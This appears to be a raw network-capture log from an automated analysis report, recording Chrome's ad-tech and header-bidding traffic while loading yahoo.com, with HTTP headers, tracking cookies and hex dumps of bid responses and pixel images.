A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:14 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49915	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	736	OUT	GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAEYBSgCMgsIovbEgs2PyTwQBTgB
2024-01-10 23:27:14 UTC	583	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 295 Connection: close server: Kestrel location: https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:14 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUYBSABKAIyCwii9sSCzY_JPBAFOAE.; expires=Fri, 10 Jan 2025 23:27:14 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:14 UTC	295	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 74 79 70 65 3d 35 35 39 35 33 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 5f 6f 72 69 67 69 6e 3d 30 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 74 72 75 65 22 3e 68 74 74 70 73 3a 2f 2f 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 74 79 70 65 3d 35 35 39 35 33 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 5f 6f 72 69 67 Data Ascii: Redirecting to: <a href="https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true">https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_orig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49916	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	667	OUT	GET /cksync.php?cs=1&type=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-mag=LR8EUG12-1F-5JG4~~1;Expires=Thu, 09 Jan 2025 23:27:14 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:14 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:14 GMT Connection: close
2024-01-10 23:27:14 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:14 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49862	34.120.63.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	656	OUT	POST /rtb/prebid?cid=8CUQ66JUO HTTP/1.1 Host: prebid.media.net Connection: keep-alive Content-Length: 3992 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10
2024-01-10 23:27:14 UTC	3992	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 43 55 51 36 36 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8CUQ66
2024-01-10 23:27:14 UTC	661	IN	HTTP/1.1 200 OK cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:14 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com content-type: application/json;charset=utf-8 date: Wed, 10 Jan 2024 23:27:13 GMT x-envoy-upstream-service-time: 81 vary: Accept-Encoding server: envoy Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 36 38 65 0d 0a 7b 22 69 64 22 3a 22 33 33 35 30 33 37 38 37 37 36 34 30 31 38 39 37 35 31 37 30 34 39 32 39 32 33 33 34 36 36 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 5d 2c 22 65 78 74 22 3a 7b 22 63 73 55 72 6c 22 3a 5b 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 6d 65 64 69 61 6e 65 74 26 67 64 70 72 3d 24 7b 47 44 50 52 7d 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 24 7b 47 44 50 52 5f 43 4f 4e 53 45 4e 54 7d 26 67 64 70 72 5f 70 64 3d 31 22 7d 2c 7b 22 74 79 70 65 22 3a 22 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 64 69 73 2e 63 72 69 74 65 6f 2e 63 6f 6d 2f 64 69 73 2f 75 73 65 72 73 79 6e 63 2e 61 73 70 78 Data Ascii: 68e{"id":"335037877640189751704929233466","bidList":[],"ext":{"csUrl":[{"type":"image","url":"https://x.bidswitch.net/sync?ssp=medianet&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gdpr_pd=1"},{"type":"image","url":"https://dis.criteo.com/dis/usersync.aspx
2024-01-10 23:27:14 UTC	438	IN	Data Raw: 74 74 70 73 3d 31 26 63 69 64 3d 38 43 55 51 36 36 4a 55 4f 26 70 72 76 69 64 3d 32 30 33 34 25 32 43 32 30 33 33 25 32 43 32 30 33 31 25 32 43 32 30 33 30 25 32 43 35 35 30 25 32 43 32 33 33 25 32 43 32 30 32 38 25 32 43 32 30 32 37 25 32 43 32 33 36 25 32 43 33 31 33 25 32 43 32 33 37 25 32 43 31 31 37 25 32 43 33 31 39 25 32 43 39 37 25 32 43 35 35 25 32 43 39 39 25 32 43 33 30 31 32 25 32 43 33 30 31 30 25 32 43 32 34 34 25 32 43 32 30 31 25 32 43 32 30 33 39 25 32 43 33 30 30 37 25 32 43 32 34 36 25 32 43 31 32 36 25 32 43 32 30 33 25 32 43 32 30 31 32 25 32 43 32 30 35 35 25 32 43 31 37 32 25 32 43 33 30 32 30 25 32 43 32 35 31 25 32 43 31 37 35 25 32 43 34 35 30 25 32 43 32 30 30 39 25 32 43 31 37 38 25 32 43 33 30 31 38 25 32 43 33 30 31 37 25 32 Data Ascii: ttps=1&cid=8CUQ66JUO&prvid=2034%2C2033%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C237%2C117%2C319%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C126%2C203%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49864	34.111.85.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	651	OUT	POST /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1 Host: m.hb.yahoo.net Connection: keep-alive Content-Length: 6472 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	6472	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 59 48 42 4a 33 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8YHBJ3
2024-01-10 23:27:14 UTC	562	IN	HTTP/1.1 200 OK server: nginx date: Wed, 10 Jan 2024 23:27:14 GMT content-type: application/json;charset=utf-8 cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:14 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com via: 1.1 google Alt-Svc: clear Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:14 UTC	690	IN	Data Raw: 33 64 39 63 0d 0a 7b 22 69 64 22 3a 22 33 33 35 30 33 37 38 37 37 36 34 30 31 38 39 37 35 31 37 30 34 39 32 39 32 33 33 34 36 36 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 7b 22 6e 6f 5f 62 69 64 22 3a 66 61 6c 73 65 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 32 36 31 39 36 38 36 30 39 34 39 36 36 32 33 33 31 37 30 34 39 32 39 32 33 33 34 38 38 22 2c 22 63 70 6d 22 3a 30 2e 30 30 39 2c 22 61 64 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 72 63 5f 37 61 64 36 39 34 38 30 35 36 34 61 64 38 61 64 37 35 63 32 39 33 35 30 35 30 61 34 33 30 39 33 5c 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 74 72 79 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 Data Ascii: 3d9c{"id":"335037877640189751704929233466","bidList":[{"no_bid":false,"requestId":"26196860949662331704929233488","cpm":0.009,"ad":"<div id=\"rc_7ad69480564ad8ad75c2935050a43093\"></div><script>try{new Image().src=\"https://lg1.hb.yahoo.net/log?logid=kf
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 68 28 72 29 7b 7d 76 61 72 20 75 74 69 6d 65 3d 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 2d 5c 22 31 37 30 34 39 32 39 32 33 34 34 33 37 5c 22 3b 75 74 69 6d 65 3d 75 74 69 6d 65 3e 30 3f 75 74 69 6d 65 3a 5c 22 5c 22 3b 76 61 72 20 6d 6e 73 66 3d 31 3b 69 66 28 77 69 6e 64 6f 77 2e 24 73 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 6d 6e 73 66 3d 30 7d 76 61 72 20 72 61 6e 64 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 76 61 72 20 5f 6d 6e 4c 67 64 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6c 6f 67 3f 6c 6f 67 69 64 3d 61 77 6c 6f 67 26 6c 70 65 72 3d 31 26 69 74 79 70 65 69 64 3d 38 34 26 69 74 79 70 65 3d 59 48 42 26 63 63 3d 55 53 26 63 69 64 3d 38 59 48 42 4a 33 42 4a 30 26 72 65 Data Ascii: h(r){}var utime=(new Date()).getTime()-\"1704929234437\";utime=utime>0?utime:\"\";var mnsf=1;if(window.$sf===undefined){mnsf=0}var rand=Math.random();var _mnLgd=\"https://lg1.hb.yahoo.net/clog?logid=awlog&lper=1&itypeid=84&itype=YHB&cc=US&cid=8YHBJ3BJ0&re
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 74 74 69 6d 65 3d 31 37 39 26 72 65 71 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 66 61 6c 73 65 26 70 76 69 64 3d 32 35 30 38 37 26 70 61 72 65 6e 74 5f 70 76 69 64 3d 32 35 30 38 36 26 70 72 76 41 63 63 49 64 3d 31 38 39 38 30 35 26 70 72 76 41 70 69 49 64 3d 36 30 31 35 37 26 61 64 6a 30 3d 30 2e 30 26 61 64 6a 31 3d 30 2e 30 26 61 64 6a 32 3d 30 2e 30 26 70 73 74 3d 30 26 63 72 69 64 3d 32 35 38 36 38 38 36 30 30 26 70 72 73 70 74 3d 68 65 61 64 65 72 42 69 64 26 70 72 76 52 65 71 49 64 3d 33 33 37 34 36 34 35 35 30 39 34 36 30 37 5f 31 39 38 35 35 35 33 38 31 32 5f 32 35 38 36 38 38 36 30 30 31 32 35 30 38 37 31 26 73 69 7a 65 3d 33 30 30 78 32 35 30 26 62 64 70 3d 30 2e 30 30 39 26 62 69 64 5f 75 75 69 64 3d 37 61 64 36 39 34 38 30 35 36 34 61 64 38 61 Data Ascii: ttime=179&req_tid_present=false&pvid=25087&parent_pvid=25086&prvAccId=189805&prvApiId=60157&adj0=0.0&adj1=0.0&adj2=0.0&pst=0&crid=258688600&prspt=headerBid&prvReqId=33746455094607_1985553812_2586886001250871&size=300x250&bdp=0.009&bid_uuid=7ad69480564ad8a
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 62 70 3d 2d 31 30 2e 30 26 6d 78 5f 65 70 62 63 3d 36 30 31 35 37 26 6d 78 5f 73 73 50 72 6f 66 69 6c 65 3d 30 26 6d 78 5f 69 6e 74 5f 64 73 70 5f 69 64 3d 31 30 32 32 26 6d 78 5f 73 75 61 5f 6f 73 5f 6e 3d 57 69 6e 64 6f 77 73 26 6d 78 5f 6c 72 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 52 61 3d 30 26 6d 78 5f 6c 72 5f 73 65 67 5f 64 65 61 6c 3d 30 26 6d 78 5f 61 71 63 70 6c 5f 63 72 69 64 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 4b 74 77 52 6c 3d 33 26 6d 78 5f 63 75 72 72 65 6e 74 45 62 70 3d 2d 35 39 38 31 39 35 2e 36 33 33 34 33 30 35 37 30 32 26 6d 78 5f 67 70 69 64 5f 66 6f 72 6d 61 74 3d 45 50 43 26 6d 78 5f 62 73 73 5f 61 6c 67 6f 73 25 33 43 25 33 45 3d 35 26 6d 78 5f 61 75 72 6c 5f 68 63 3d 30 26 6d 78 5f 61 61 62 70 63 3d 30 26 6d 78 5f 69 73 Data Ascii: bp=-10.0&mx_epbc=60157&mx_ssProfile=0&mx_int_dsp_id=1022&mx_sua_os_n=Windows&mx_lr=0&mx_bsBucketRa=0&mx_lr_seg_deal=0&mx_aqcpl_crid=0&mx_bsBucketKtwRl=3&mx_currentEbp=-598195.6334305702&mx_gpid_format=EPC&mx_bss_algos%3C%3E=5&mx_aurl_hc=0&mx_aabpc=0&mx_is
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 73 64 61 2d 4c 52 45 43 33 2d 69 66 72 61 6d 65 26 72 65 71 5f 73 69 7a 65 3d 33 30 30 78 32 35 30 25 37 43 33 30 30 78 32 35 30 26 72 65 6e 64 65 72 65 72 3d 30 26 69 66 73 74 3d 30 26 69 66 72 61 6d 69 6e 67 53 74 61 74 65 3d 30 26 69 66 64 70 3d 30 26 73 6c 6f 74 56 69 73 69 62 69 6c 69 74 79 3d 32 26 61 64 70 6f 73 3d 33 26 6d 65 64 69 61 3d 30 26 72 65 70 63 68 6e 31 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 79 68 70 25 32 46 6d 61 69 6e 25 32 46 64 74 25 32 46 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 61 73 5f 6d 69 64 5f 72 69 67 68 74 5f 61 26 6e 61 74 69 76 65 5f 61 73 73 65 74 3d 30 26 72 65 71 5f 6d 74 79 70 65 25 33 43 25 33 45 3d 30 25 32 33 25 32 33 32 26 67 3d 30 26 63 74 72 3d 2d 31 2e 30 26 72 66 63 3d 30 26 Data Ascii: sda-LREC3-iframe&req_size=300x250%7C300x250&renderer=0&ifst=0&iframingState=0&ifdp=0&slotVisibility=2&adpos=3&media=0&repchn1=%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_as_mid_right_a&native_asset=0&req_mtype%3C%3E=0%23%232&g=0&ctr=-1.0&rfc=0&
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 32 32 25 33 41 25 32 32 6e 6f 6e 65 25 32 32 25 37 44 26 6b 34 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 6c 61 6e 67 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 65 6e 2d 55 53 25 32 32 25 37 44 26 6b 37 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 6c 6f 63 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 6d 69 64 5f 72 69 67 68 74 5f 61 25 32 32 25 37 44 26 6b 38 3d 25 37 42 25 32 32 6b 25 32 32 25 33 41 25 32 32 73 69 74 65 25 32 32 25 32 43 25 32 32 76 25 32 32 25 33 41 25 32 32 66 70 25 32 32 25 37 44 26 64 65 62 75 67 5f 74 73 3d 32 30 32 34 2d 30 31 2d 31 30 2b 32 33 25 33 41 32 37 25 33 41 31 34 26 5f 5f 65 78 70 69 72 65 61 74 3d 31 37 30 34 39 32 39 34 31 34 36 38 34 26 6d 76 69 65 77 3d 30 26 74 6f 63 6f 6e 73 Data Ascii: 22%3A%22none%22%7D&k4=%7B%22k%22%3A%22lang%22%2C%22v%22%3A%22en-US%22%7D&k7=%7B%22k%22%3A%22loc%22%2C%22v%22%3A%22mid_right_a%22%7D&k8=%7B%22k%22%3A%22site%22%2C%22v%22%3A%22fp%22%7D&debug_ts=2024-01-10+23%3A27%3A14&__expireat=1704929414684&mview=0&tocons
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 20 7c 7c 20 66 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 20 7c 7c 20 66 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 3b 20 64 6f 63 2e 6f 70 65 6e 28 29 3b 20 64 6f 63 2e 77 72 69 74 65 28 63 6f 6e 74 65 6e 74 29 3b 64 6f 63 2e 63 6c 6f 73 65 28 29 3b 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 20 3d 20 5c 22 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 65 76 74 69 64 3d 70 6c 75 74 6f 65 76 65 6e 74 73 26 5f 5f 71 3d 41 54 37 44 77 4c 51 41 44 48 42 79 5a 57 4a 70 5a 43 52 68 5a 48 4a 6c 62 6d 52 6c 63 6c 39 6c 65 47 4e 6c 63 48 52 70 62 32 34 53 4f 46 6c 49 51 6b 6f 7a 51 6b 6f 77 45 6a 49 31 4f 44 59 34 4f Data Ascii: \|\| fr.contentDocument.document \|\| fr.contentDocument; doc.open(); doc.write(content);doc.close();} catch (e) { (new Image()).src = \"//lg1.hb.yahoo.net/log?logid=kfke&evtid=plutoevents&__q=AT7DwLQADHByZWJpZCRhZHJlbmRlcl9leGNlcHRpb24SOFlIQkozQkowEjI1ODY4O
2024-01-10 23:27:14 UTC	1252	IN	Data Raw: 22 65 6e 64 73 63 72 65 65 6e 42 6f 64 79 5c 5c 5c 22 3a 5c 5c 5c 22 59 6f 75 72 20 6f 70 69 6e 69 6f 6e 20 6d 61 6b 65 73 20 61 20 64 69 66 66 65 72 65 6e 63 65 5c 5c 5c 22 2c 5c 5c 5c 22 6c 6f 67 6f 55 52 4c 5c 5c 5c 22 3a 5c 5c 5c 22 5c 5c 5c 22 2c 5c 5c 5c 22 6d 61 63 72 6f 5c 5c 5c 22 3a 66 61 6c 73 65 2c 5c 5c 5c 22 71 75 65 73 74 69 6f 6e 73 5c 5c 5c 22 3a 5b 7b 5c 5c 5c 22 74 65 78 74 5c 5c 5c 22 3a 5c 5c 5c 22 57 68 65 72 65 20 74 79 70 65 20 6f 66 20 64 65 73 74 69 6e 61 74 69 6f 6e 73 20 61 72 65 20 79 6f 75 20 6d 6f 73 74 20 6c 69 6b 65 6c 79 20 74 6f 20 74 72 61 76 65 6c 20 74 6f 20 69 6e 20 74 68 65 20 6e 65 61 72 20 66 75 74 75 72 65 3f 20 28 53 65 6c 65 63 74 20 41 6c 6c 20 74 68 61 74 20 41 70 70 6c 79 29 5c 5c 5c 22 2c 5c 5c 5c 22 70 69 Data Ascii: "endscreenBody\\\":\\\"Your opinion makes a difference\\\",\\\"logoURL\\\":\\\"\\\",\\\"macro\\\":false,\\\"questions\\\":[{\\\"text\\\":\\\"Where type of destinations are you most likely to travel to in the near future? (Select All that Apply)\\\",\\\"pi
